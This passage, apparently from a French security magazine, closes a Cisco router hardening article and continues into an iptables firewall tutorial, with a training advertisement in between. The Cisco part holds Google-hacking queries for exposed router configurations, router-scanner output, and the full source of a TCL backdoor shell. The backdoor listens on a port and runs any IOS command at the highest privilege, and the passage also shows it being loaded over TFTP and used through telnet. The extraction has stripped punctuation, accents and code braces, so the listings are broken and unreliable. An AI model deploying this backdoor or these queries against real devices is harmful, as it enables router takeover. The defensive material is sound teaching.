Ce script eacutecoute sur le port 1234 vous pouvez le mo-difier en changeant la commande set port 1234 par le port que vous voulez utiliser

approche deacutefensiveDeacutesactivation des services inutiliseacutes le durcisse-ment du Management Plane commence par la deacutesac-tivation de tous les services inutiliseacutes qui sont parfois vulneacuterables ou grand consommateurs de ressources donc vecteurs dattaques de deacutenis de service (cf Lis-ting 7)

Voici une liste assez complegravete des principaux servi-ces agrave deacutesactiver

bull PADbull MOPbull Fingerbull Bootpbull DNSbull Services TCP et UDP (Echo Chargen Discard)bull Script TCLbull CDP et LLDP sur les interfaces externes

Listing 2 Requecirctes googleHacking

no service single-slot-reload-enable enable secret

5 filetypeshtml -inurlcisco

ip ftp password 05080F1C2243

filetypecfg intextcisco

inurl-cfg intextenable secret

intitlelevel15exec

Listing 3 Utilisation dASS

test ass -mA -i eth0 -D 192168110 -b15 -v

ASS [Autonomous System Scanner] $Revision 214 $

(c) 2k FX ltfxphenoelitdegt

Phenoelit (httpwwwphenoelitde)

No protocols selected scanning all

Running scan with

interface eth0

Autonomous systems 0 to 15

delay is 1

in ACTIVE mode

Building target list

192168110 is alive

Scanning

Scanning IGRP on 192168110

Scanning IRDP on 192168110

Scanning RIPv1 on 192168110

shutdown

gtgtgtgtgtgtgtgtgtgtgtgt Results gtgtgtgtgtgtgtgtgtgtgt

192168110

IGRP

AS 00010 10000 (500001111111147625510)

IRDP

192168110 (18000)

192168999 (18000)

RIPv1

10000 (1)

Listing 4 Trojan TCL ndash routeur

Routergten

Routertclsh

Router(tcl)source tftptftpservertclshtcl

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

